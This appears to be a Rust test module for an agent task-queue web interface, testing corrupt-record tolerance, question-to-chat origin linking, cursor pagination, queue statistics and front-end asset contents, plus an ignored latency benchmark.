23554 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23555 ));
23556 }
23557
23558 #[tokio::test]
23559 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23560 let dir = tempfile::tempdir().expect("tempdir");
23564 let explicit = dir.path().join("not-a-checkout");
23565 std::fs::create_dir_all(&explicit).expect("create dir");
23566 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23567
23568 let missing = dir.path().join("does-not-exist-at-all");
23569 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23570 }
23571
23572 #[test]
23573 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23574 assert!(APP_JS.contains("function statsDonutArcs"));
23575 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23576 assert!(APP_JS.contains("function statusInBucket"));
23578 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23579 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23580 let buckets = [
23581 "merged",
23582 "ready",
23583 "in_progress",
23584 "blocked",
23585 "failed",
23586 "verified_noop",
23587 "superseded",
23588 "stalled",
23589 ];
23590 for key in buckets {
23591 let var = format!("--verdict-{key}:");
23592 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23594 assert!(
23595 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23596 "{key}"
23597 );
23598 }
23599 }
23600
23601 #[tokio::test]
23602 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23603 let dir = tempfile::tempdir().expect("tempdir");
23604 let queue = Queue::at(dir.path().join("queue"));
23605 let talks = Talks::at(dir.path().join("talks"));
23606 std::fs::create_dir_all(queue.root()).unwrap();
23607 std::fs::create_dir_all(talks.root()).unwrap();
23608
23609 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23611 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23612
23613 let mut task = Task::new(
23615 "title".into(),
23616 "inst".into(),
23617 PathBuf::from("/repo"),
23618 Source::Human,
23619 );
23620 task.id = "20261019-123456-abcd".into();
23621 std::fs::write(
23623 queue.path_of(&task.id),
23624 serde_json::to_string(&task).unwrap(),
23625 )
23626 .unwrap();
23627
23628 let talk_id = "20261019-234567-cdef";
23629 seed_talk_at(&talks, talk_id, "open");
23630
23631 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23633 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23634
23635 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23637 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23638 }
23639
23640 #[tokio::test]
23641 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23642 let home = tempfile::tempdir().unwrap();
23643 let ui = delta_test_ui(home.path());
23644 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23646 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23647 assert!(
23648 questions_list(State(ui.clone()))
23649 .await
23650 .unwrap()
23651 .0
23652 .is_empty()
23653 );
23654 assert!(
23655 question_origins(State(ui.clone()))
23656 .await
23657 .unwrap()
23658 .0
23659 .is_empty()
23660 );
23661 let mut question = Question::new(
23662 "run-history".into(),
23663 "review".into(),
23664 "seat".into(),
23665 "Useful question".into(),
23666 "Useful detail".into(),
23667 vec![],
23668 );
23669 ui.questions.put(&mut question).unwrap();
23670 let core = questions_core(State(ui.clone())).await.unwrap().0;
23671 assert_eq!(core.len(), 1);
23672 assert_eq!(core[0].question.summary, "Useful question");
23673 assert!(!core[0].can_consult_chat);
23674 assert!(core[0].origin_chat.is_none());
23675 assert_eq!(core[0].record_revision, question_record_revision(&question));
23676 assert!(question_origins(State(ui.clone())).await.is_err());
23677 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23678 }
23679
23680 #[tokio::test]
23681 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23682 let home = tempfile::tempdir().unwrap();
23683 let ui = delta_test_ui(home.path());
23684 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23685 let mut parent = Task::new(
23686 "parent".into(),
23687 "body".into(),
23688 PathBuf::from("/repo"),
23689 Source::Agent {
23690 run: chat.clone(),
23691 node: crate::queue::CHAT_NODE.into(),
23692 },
23693 );
23694 parent.id = "parent-task".into();
23695 parent.runs = vec!["parent-run".into()];
23696 ui.queue.put(&mut parent).unwrap();
23697 let mut previous = parent;
23698 for generation in 1..=2 {
23699 let mut child = Task::new(
23700 "child".into(),
23701 "body".into(),
23702 PathBuf::from("/repo"),
23703 Source::Human,
23704 );
23705 child.id = format!("child-task-{generation}");
23706 child.runs = vec![format!("child-run-{generation}")];
23707 child.followup = Some(crate::queue::FollowUp {
23708 origin_task: Some(previous.id.clone()),
23709 run: previous.runs[0].clone(),
23710 pr: String::new(),
23711 findings: vec![],
23712 generation,
23713 });
23714 ui.queue.put(&mut child).unwrap();
23715 previous = child;
23716 }
23717 let mut collision = Task::new(
23720 "collision".into(),
23721 String::new(),
23722 PathBuf::from("/repo"),
23723 Source::Human,
23724 );
23725 collision.id = "collision-task".into();
23726 collision.runs = vec![previous.id.clone()];
23727 ui.queue.put(&mut collision).unwrap();
23728 let mut questions = Vec::new();
23729 for (node, reference, expected, eligible) in [
23730 (crate::triage::NODE, previous.id.as_str(), true, false),
23731 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23732 ("review", previous.runs[0].as_str(), true, true),
23733 (
23734 crate::bump::NOTICE_NODE,
23735 previous.runs[0].as_str(),
23736 true,
23737 false,
23738 ),
23739 ("review", previous.id.as_str(), false, false),
23741 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23742 ("review", "unrelated", false, false),
23743 ] {
23744 let mut q = Question::new(
23745 reference.into(),
23746 node.into(),
23747 "seat".into(),
23748 "Question".into(),
23749 String::new(),
23750 vec![],
23751 );
23752 ui.questions.put(&mut q).unwrap();
23753 questions.push((q, expected, eligible));
23754 }
23755 for (node, reference, associated, eligible) in [
23756 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23757 (
23758 crate::reconcile::NODE,
23759 previous.runs[0].as_str(),
23760 false,
23761 true,
23762 ),
23763 ("implement", previous.id.as_str(), false, false),
23764 ] {
23765 let mut q = Question::new(
23766 reference.into(),
23767 node.into(),
23768 crate::reconcile::SEAT.into(),
23769 "Reconcile".into(),
23770 String::new(),
23771 vec![],
23772 );
23773 ui.questions.put(&mut q).unwrap();
23774 questions.push((q, associated, eligible));
23775 }
23776 let mut release = Question::new(
23777 "release-record".into(),
23778 crate::bump::NOTICE_NODE.into(),
23779 "release-watch".into(),
23780 "Release".into(),
23781 String::new(),
23782 vec![],
23783 );
23784 ui.questions.put(&mut release).unwrap();
23785 let watch = crate::release_watch::WatchState {
23786 question: Some(release.id.clone()),
23787 run: Some(previous.runs[0].clone()),
23788 held_task: Some(previous.id.clone()),
23789 ..Default::default()
23790 };
23791 let watch_dir = home.path().join("release-watch");
23792 std::fs::create_dir_all(&watch_dir).unwrap();
23793 let watch_path = watch_dir.join("watch.json");
23794 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23795 for batch in [
23797 Vec::new(),
23798 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23799 ] {
23800 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23801 assert!(watches.is_empty());
23802 }
23803 questions.push((release.clone(), true, false));
23804
23805 let views = questions_list(State(ui.clone())).await.unwrap().0;
23806 let origins = question_origins(State(ui.clone())).await.unwrap().0;
23807 for (q, associated, eligible) in &questions {
23808 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23809 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23810 let expected = associated.then_some(chat.as_str());
23811 assert_eq!(
23812 view.origin_chat.as_deref(),
23813 expected,
23814 "{} {}",
23815 q.node,
23816 q.run
23817 );
23818 assert_eq!(origin.origin_chat.as_deref(), expected);
23819 assert_eq!(view.origin_chat_closed, *associated);
23820 assert_eq!(origin.origin_chat_closed, *associated);
23821 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23822 assert_eq!(origin.can_consult_chat, *eligible);
23823 }
23824 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23826 let link = crate::release_watch::WatchState {
23827 run,
23828 held_task,
23829 ..watch.clone()
23830 };
23831 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23832 let (tasks, talks, watches) =
23833 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23834 assert_eq!(
23835 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23836 .unwrap()
23837 .id,
23838 chat,
23839 );
23840 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23841 }
23842 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23843 let duplicate_path = watch_dir.join("duplicate.json");
23845 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23846 let (tasks, talks, watches) =
23847 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23848 assert!(
23849 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23850 .is_none()
23851 );
23852 std::fs::remove_file(duplicate_path).unwrap();
23853 let mut unrelated = Task::new(
23855 "other".into(),
23856 String::new(),
23857 PathBuf::from("/repo"),
23858 Source::Human,
23859 );
23860 unrelated.id = "unrelated-task".into();
23861 ui.queue.put(&mut unrelated).unwrap();
23862 let mut conflicting = watch.clone();
23863 conflicting.held_task = Some(unrelated.id);
23864 std::fs::write(
23865 watch_dir.join("conflict.json"),
23866 serde_json::to_vec(&conflicting).unwrap(),
23867 )
23868 .unwrap();
23869 let (tasks, talks, watches) =
23870 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23871 assert!(
23872 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23873 .is_none()
23874 );
23875 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23876 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23877 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23878 assert!(origin.origin_chat.is_none());
23879 assert!(!origin.origin_chat_closed);
23880 }
23881 }
23882
23883 #[test]
23884 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23885 let home = tempfile::tempdir().unwrap();
23886 let ui = delta_test_ui(home.path());
23887 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23888 for i in 0..1000 {
23889 let mut task = Task::new(
23890 "unrelated".into(),
23891 "instruction ".repeat(256),
23892 PathBuf::from("/repo"),
23893 Source::Human,
23894 );
23895 task.id = format!("history-{i:04}");
23896 ui.queue.put(&mut task).unwrap();
23897 let id = seed_talk_at(&ui.talks, &task.id, "open");
23898 let mut talk = ui.talks.get(&id).unwrap();
23899 talk.pending = "history ".repeat(256);
23900 ui.talks.put(&mut talk).unwrap();
23901 }
23902 let mut parent = Task::new(
23903 "parent".into(),
23904 "body".into(),
23905 PathBuf::from("/repo"),
23906 Source::Agent {
23907 run: chat_id.clone(),
23908 node: crate::queue::CHAT_NODE.into(),
23909 },
23910 );
23911 parent.id = "task-parent".into();
23912 parent.runs = vec!["run-parent".into()];
23913 ui.queue.put(&mut parent).unwrap();
23914 let mut child = Task::new(
23915 "child".into(),
23916 "body".into(),
23917 PathBuf::from("/repo"),
23918 Source::Human,
23919 );
23920 child.id = "task-child".into();
23921 child.runs = vec!["run-child".into()];
23922 child.followup = Some(crate::queue::FollowUp {
23923 run: "run-parent".into(),
23924 origin_task: Some(parent.id.clone()),
23925 pr: "https://example.invalid/pr/1".into(),
23926 findings: vec![],
23927 generation: 1,
23928 });
23929 ui.queue.put(&mut child).unwrap();
23930 let mut question = Question::new(
23931 child.id.clone(),
23932 crate::conduct::NODE.into(),
23933 "seat".into(),
23934 "Continue?".into(),
23935 String::new(),
23936 vec![],
23937 );
23938 let (tasks, talks, _watches) =
23939 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23940 assert_eq!(tasks.len(), 2);
23941 assert_eq!(talks.len(), 1);
23942 assert_eq!(
23943 ui.monitor.queue_index.lock().unwrap().reparsed,
23944 0,
23945 "exact ancestry bypasses the index"
23946 );
23947 assert_eq!(
23948 crate::consult::origin_talk(&tasks, &talks, &question)
23949 .unwrap()
23950 .id,
23951 chat_id
23952 );
23953 question.run = "run-child".into();
23954 question.node = "review".into();
23955 for origin_task in [Some(parent.id.clone()), None] {
23956 child.followup.as_mut().unwrap().origin_task = origin_task;
23957 ui.queue.put(&mut child).unwrap();
23958 let (tasks, talks, _watches) =
23959 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23960 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23961 let expected =
23962 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23963 .unwrap();
23964 assert_eq!(actual.id, expected.id);
23965 assert!(!actual.status.open());
23966 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23967 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23968 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23971 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23972 }
23973 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23974 ui.queue.put(&mut child).unwrap();
23975 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23976 let (tasks, talks, _watches) =
23977 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23978 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23979 child.origin_chat = Some(chat_id.clone());
23980 ui.queue.put(&mut child).unwrap();
23981 let (tasks, talks, _watches) =
23982 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23983 assert_eq!(
23984 crate::consult::origin_talk(&tasks, &talks, &question)
23985 .unwrap()
23986 .id,
23987 chat_id
23988 );
23989 let revision = question_record_revision(&question);
23990 question.abandon("settled elsewhere");
23991 assert_ne!(revision, question_record_revision(&question));
23992 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23993 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23994 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23995 let (tasks, talks, _watches) =
23996 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23997 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23998 }
23999
24000 #[test]
24001 fn list_cursors_freeze_membership_and_expire_explicitly() {
24002 let home = tempfile::tempdir().unwrap();
24003 let ui = delta_test_ui(home.path());
24004 std::fs::create_dir_all(ui.queue.root()).unwrap();
24005 for i in 0..40 {
24006 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24007 }
24008 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24009 assert_eq!(first.len(), STORE_PAGE_SIZE);
24010 let cursor = cursor.unwrap();
24011 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24012 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24013 let (second, _) = page_ids(
24014 &ui,
24015 false,
24016 PageQuery {
24017 before: Some(cursor.clone()),
24018 },
24019 )
24020 .unwrap();
24021 assert_eq!(second[0], "record-0023");
24022 assert!(second.iter().all(|id| !first.contains(id)));
24023 assert!(
24024 page_ids(
24025 &ui,
24026 true,
24027 PageQuery {
24028 before: Some(cursor.clone())
24029 }
24030 )
24031 .is_err()
24032 );
24033 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24034 assert_eq!(fresh[0], "record-9999");
24035 ui.monitor.list_walks.lock().unwrap().clear();
24036 assert!(
24037 page_ids(
24038 &ui,
24039 false,
24040 PageQuery {
24041 before: Some(cursor)
24042 }
24043 )
24044 .is_err()
24045 );
24046 }
24047
24048 #[tokio::test]
24049 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24050 let home = tempfile::tempdir().unwrap();
24051 let ui = delta_test_ui(home.path());
24052 let mut task = Task::new(
24053 "task".into(),
24054 "body".into(),
24055 PathBuf::from("/repo"),
24056 Source::Human,
24057 );
24058 ui.queue.put(&mut task).unwrap();
24059 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24060 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24061 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24062 let expected = parsed + usize::from(!cfg!(unix));
24063 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24064 task.status = crate::queue::TaskStatus::Held;
24065 ui.queue.put(&mut task).unwrap();
24066 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24067 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24068 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24069 ui.queue.put(&mut task).unwrap();
24070 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24071 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24072 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24073 }
24074
24075 #[tokio::test]
24076 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24077 let home = tempfile::tempdir().unwrap();
24078 let ui = delta_test_ui(home.path());
24079 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24080 let before = health(State(ui.clone())).await.unwrap().0;
24081 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24082 let after = health(State(ui)).await.unwrap().0;
24083 assert_ne!(before.notifications_rev, after.notifications_rev);
24084 assert_eq!(after.notifications_unread, 1);
24085 }
24086
24087 #[tokio::test]
24088 async fn list_pages_bound_history_and_keep_dependency_evidence() {
24089 let home = tempfile::tempdir().unwrap();
24090 let ui = delta_test_ui(home.path());
24091 let queue = &ui.queue;
24092 let talks = &ui.talks;
24093 for i in 0..1000 {
24094 let id = format!("20261019-{i:06}-page");
24095 let mut task = Task::new(
24096 "task".into(),
24097 "instruction".repeat(100),
24098 PathBuf::from("/repo/magi"),
24099 Source::Human,
24100 );
24101 task.id = id.clone();
24102 if i == 0 {
24103 task.status = crate::queue::TaskStatus::Held;
24104 } else if i == 999 {
24105 task.status = crate::queue::TaskStatus::Blocked;
24106 task.blocked_by = vec!["20261019-000000-page".into()];
24107 }
24108 queue.put(&mut task).unwrap();
24109 seed_talk_at(talks, &id, "open");
24110 }
24111 let page = serde_json::to_value(
24112 queue_page(State(ui.clone()), Query(PageQuery::default()))
24113 .await
24114 .unwrap()
24115 .0,
24116 )
24117 .unwrap();
24118 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24119 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24120 assert!(
24121 !page["rows"][0]["stuck_roots"]
24122 .as_array()
24123 .unwrap()
24124 .is_empty()
24125 );
24126 let cursor = page["next"].as_str().unwrap();
24127 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24128 .as_str()
24129 .unwrap();
24130 std::fs::remove_file(queue.path_of(last_id)).unwrap();
24132 let next = serde_json::to_value(
24133 queue_page(
24134 State(ui.clone()),
24135 Query(PageQuery {
24136 before: Some(cursor.into()),
24137 }),
24138 )
24139 .await
24140 .unwrap()
24141 .0,
24142 )
24143 .unwrap();
24144 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24145 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24146 let chats = serde_json::to_value(
24147 talks_page(State(ui.clone()), Query(PageQuery::default()))
24148 .await
24149 .unwrap()
24150 .0,
24151 )
24152 .unwrap();
24153 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24154 assert!(chats["rows"][0].get("pending").is_none());
24155 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24156 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24157 assert_eq!(counts["held"], 1);
24158 assert_eq!(counts["blocked"], 1);
24159 assert_eq!(counts["queued"], 997);
24160 }
24161
24162 #[test]
24163 fn queue_index_observes_external_replacement_deletion_and_corruption() {
24164 let dir = tempfile::tempdir().unwrap();
24165 let ui = delta_test_ui(dir.path());
24166 let mut task = Task::new(
24167 "task".into(),
24168 "body".into(),
24169 PathBuf::from("/repo"),
24170 Source::Human,
24171 );
24172 task.runs = vec!["run-a".into()];
24173 ui.queue.put(&mut task).unwrap();
24174 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24175 task.runs = vec!["run-b".into()];
24176 let path = ui.queue.path_of(&task.id);
24177 let modified = path.metadata().unwrap().modified().unwrap();
24178 let replacement = path.with_extension("replacement");
24179 let bytes = serde_json::to_vec_pretty(&task).unwrap();
24180 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24181 std::fs::write(&replacement, &bytes).unwrap();
24182 std::fs::File::options()
24183 .write(true)
24184 .open(&replacement)
24185 .unwrap()
24186 .set_times(std::fs::FileTimes::new().set_modified(modified))
24187 .unwrap();
24188 std::fs::rename(&replacement, &path).unwrap();
24189 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24190 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24191 std::fs::write(&path, "broken").unwrap();
24192 assert!(ui.find_task_for_run("run-b").is_err());
24193 std::fs::write(&path, bytes).unwrap();
24194 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24195 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24196 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24197 }
24198
24199 #[tokio::test]
24200 async fn conversation_core_is_independent_of_unreadable_related_history() {
24201 let home = tempfile::tempdir().unwrap();
24202 let ui = delta_test_ui(home.path());
24203 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24204 std::fs::create_dir_all(ui.queue.root()).unwrap();
24205 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24206 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24207 .await
24208 .unwrap();
24209 assert_eq!(core.talk.id, id);
24210 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24211 }
24212
24213 #[tokio::test]
24214 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24215 let home = tempfile::tempdir().unwrap();
24216 let ui = delta_test_ui(home.path());
24217 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24218 let mut run = RunState::new(
24219 PathBuf::from("/repo"),
24220 "main".into(),
24221 "01234567".into(),
24222 "Useful run".into(),
24223 Config::default(),
24224 );
24225 run.save_under(home.path()).unwrap();
24226 let mut task = Task::new(
24227 "Related".into(),
24228 "body".into(),
24229 PathBuf::from("/repo"),
24230 Source::Agent {
24231 run: talk_id.clone(),
24232 node: "chat".into(),
24233 },
24234 );
24235 task.runs = vec![run.id.clone()];
24236 ui.queue.put(&mut task).unwrap();
24237 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24238 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24239 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24240 assert!(
24241 run_detail(State(ui.clone()), Path(run.id.clone()))
24242 .await
24243 .is_ok()
24244 );
24245 assert!(
24246 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24247 .await
24248 .is_ok()
24249 );
24250 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24252 assert!(ui.find_task_for_run(&run.id).is_err());
24253 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24254 ui.queue.put(&mut task).unwrap();
24255 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24256 }
24257
24258 #[tokio::test]
24259 async fn conversation_sections_omit_large_task_instructions() {
24260 let home = tempfile::tempdir().unwrap();
24261 let ui = delta_test_ui(home.path());
24262 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24263 let mut task = Task::new(
24264 "filed task".into(),
24265 "large instruction ".repeat(65536),
24266 PathBuf::from("/repo"),
24267 Source::Agent {
24268 run: id.clone(),
24269 node: "chat".into(),
24270 },
24271 );
24272 ui.queue.put(&mut task).unwrap();
24273 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24274 assert_eq!(sections["tasks"][0]["id"], task.id);
24275 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24276 assert!(sections["tasks"][0].get("instruction").is_none());
24277 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24278 }
24279
24280 #[test]
24281 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24282 let home = tempfile::tempdir().unwrap();
24283 let talks = Talks::at(home.path().join("talks"));
24284 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24285 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24286 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24287 assert!(resolve_talk(&talks, "../outside").is_err());
24288 assert!(resolve_talk(&talks, "abcd").is_err());
24289 assert_eq!(
24290 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24291 "20261019-000001-abcd"
24292 );
24293 }
24294
24295 include!(concat!(
24296 env!("CARGO_MANIFEST_DIR"),
24297 "/tests/web_latency/baseline.rs"
24298 ));
24299
24300 include!(concat!(
24301 env!("CARGO_MANIFEST_DIR"),
24302 "/tests/web_latency/lists.rs"
24303 ));
24304
24305 #[tokio::test]
24306 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24307 async fn web_history_latency_measurement() {
24308 use std::time::Instant;
24309 let home = tempfile::tempdir().unwrap();
24310 let ui = delta_test_ui(home.path());
24311 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24312 let mut template = ui.talks.get(&id).unwrap();
24313 template.turns = serde_json::from_value(serde_json::json!([{
24314 "who": "operator", "body": "Show the accumulated work and its current status.",
24315 "at": Timestamp::now().to_string(),
24316 }]))
24317 .unwrap();
24318 std::fs::write(
24319 ui.talks.path_of(&id),
24320 serde_json::to_vec(&template).unwrap(),
24321 )
24322 .unwrap();
24323 let count = std::env::var("MAGI_BENCH_RECORDS")
24324 .ok()
24325 .and_then(|s| s.parse::<usize>().ok())
24326 .unwrap_or(1000);
24327 for i in 0..count {
24328 template.id = format!("20261019-{i:06}-history");
24329 template.pending = "history ".repeat(2048);
24330 std::fs::write(
24331 ui.talks.path_of(&template.id),
24332 serde_json::to_vec(&template).unwrap(),
24333 )
24334 .unwrap();
24335 let mut task = Task::new(
24336 "old task".into(),
24337 "instruction ".repeat(2048),
24338 PathBuf::from("/repo"),
24339 Source::Human,
24340 );
24341 task.id = format!("20261019-{i:06}-task");
24342 ui.queue.put(&mut task).unwrap();
24343 }
24344 for baseline in [true, false] {
24345 for clients in [1, 4] {
24346 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24347 let mut samples = Vec::new();
24348 for _ in 0..12 {
24349 let mut jobs = Vec::new();
24350 for _ in 0..clients {
24351 let ui = ui.clone();
24352 let id = id.clone();
24353 jobs.push(tokio::spawn(async move {
24354 let start = Instant::now();
24355 if baseline {
24356 let response =
24357 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24358 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24359 return (
24360 elapsed,
24361 elapsed,
24362 serde_json::to_vec(&response).unwrap().len(),
24363 );
24364 }
24365 let core = talk_core(State(ui.clone()), Path(id.clone()));
24366 let secondary = talk_sections(State(ui), Path(id));
24367 let (first, total) = tokio::join!(
24368 async {
24369 let value = core.await.unwrap().0;
24370 (
24371 start.elapsed().as_secs_f64() * 1000.0,
24372 serde_json::to_vec(&value).unwrap().len(),
24373 )
24374 },
24375 async {
24376 let value = secondary.await.unwrap().0;
24377 (
24378 start.elapsed().as_secs_f64() * 1000.0,
24379 serde_json::to_vec(&value).unwrap().len(),
24380 )
24381 }
24382 );
24383 (first.0, first.0.max(total.0), first.1 + total.1)
24384 }));
24385 }
24386 for job in jobs {
24387 samples.push(job.await.unwrap());
24388 }
24389 }
24390 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24391 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24392 first.sort_by(f64::total_cmp);
24393 total.sort_by(f64::total_cmp);
24394 let n = first.len();
24395 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24396 println!(
24397 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24398 first[n / 2],
24399 first[(n * 95 / 100).min(n - 1)],
24400 total[n / 2],
24401 total[(n * 95 / 100).min(n - 1)],
24402 samples[0].2
24403 );
24404 }
24405 }
24406 }
24407
24408 #[test]
24409 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24410 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24412 assert!(APP_JS.contains("function nextRunRequest(id)"));
24413 assert!(APP_JS.contains("function runShell(id, summary)"));
24414 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24415 assert!(APP_JS.contains("function taskShell(id, summary)"));
24416 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24417 }
24418}